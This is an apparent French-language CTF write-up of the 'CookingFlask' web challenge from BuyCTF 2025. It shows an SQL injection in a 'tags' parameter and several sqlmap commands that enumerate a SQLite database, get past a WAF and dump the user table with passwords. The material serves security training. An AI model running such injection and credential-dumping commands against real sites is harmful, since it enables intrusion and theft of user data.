Dans cet article, nous explorons un challenge Web issu du BuyCTF 2025.
Introduction
Dans une démarche d'amélioration continue de nos compétences en cybersécurité, nous avons participé au BuyCTF 2025, en nous concentrant exclusivement sur des challenges orientés Web. Le premier défi que nous avons résolu s’intitulait Redthis. Nous vous invitons à visiter notre blog pour en découvrir davantage. Dans cet article, nous revenons également sur CookingFlask, un autre challenge marquant de cette nouvelle édition.
Analyse de la faille
Voici l’énoncé du challenge :

En accédant au lien fourni, nous découvrons une interface web vulnérable :

Après une analyse manuelle, nous avons découvert plusieurs paramètres. Nous avons tenté d'injecter des syntaxes incorrectes afin de déclencher une erreur .
Le paramètre tags
a généré une erreur SQL visible dans le titre de la page :

Nous avons alors utilisé sqlmap pour en savoir plus :
$ sqlmap -u "https://cooking.chal.cyberjousting.com/search?recipe_name=Dessert&description=BHH&tags=Lunch" -p tags --dbs
sqlmap a détecté une base de données SQLite :

Nous avons ensuite extrait les tables :
$ sqlmap -u "https://cooking.chal.cyberjousting.com/search?recipe_name=Dessert0&description=mange&tags=Lunch" -p tags -D SQLite --common-tables

Pour récupérer les colonnes, malgré le WAF en place, cette commande a été efficace :
$ sqlmap -u "https://cooking.chal.cyberjousting.com/search?recipe_name=Dessert&description=BHH&tags=Lunch" \
-p tags \
--dbms=sqlite \
--sql-query="SELECT name FROM pragma_table_info('user')" \
--batch
Colonnes des tables :
- recipe : date_created, instructions, recipe_description, recipe_id, recipe_image, recipe_name, tags, user_id
- user : user_id, username, user_email, first_name, last_name, password
Enfin, pour extraire les données et obtenir le flag :
$ sqlmap -u "https://cooking.chal.cyberjousting.com/search?recipe_name=Dessert&description=BHH&tags=Lunch" \
-p tags \
--dbms=sqlite \
--sql-query="SELECT user_id, username, user_email, first_name, last_name, password FROM user" \
--batch

Conclusion
Ce challenge nous a permis de renforcer nos compétences en injection SQL, détection d’erreurs, énumération de bases de données et extraction d’informations sensibles. Il démontre l’importance de la sécurisation des paramètres utilisateurs, du filtrage côté serveur, et de la configuration adéquate des interfaces web.
Recommandation : Ne jamais exposer de données sensibles dans des dépôts publics ou des archives téléchargeables. Toujours valider et filtrer les requêtes côté serveur.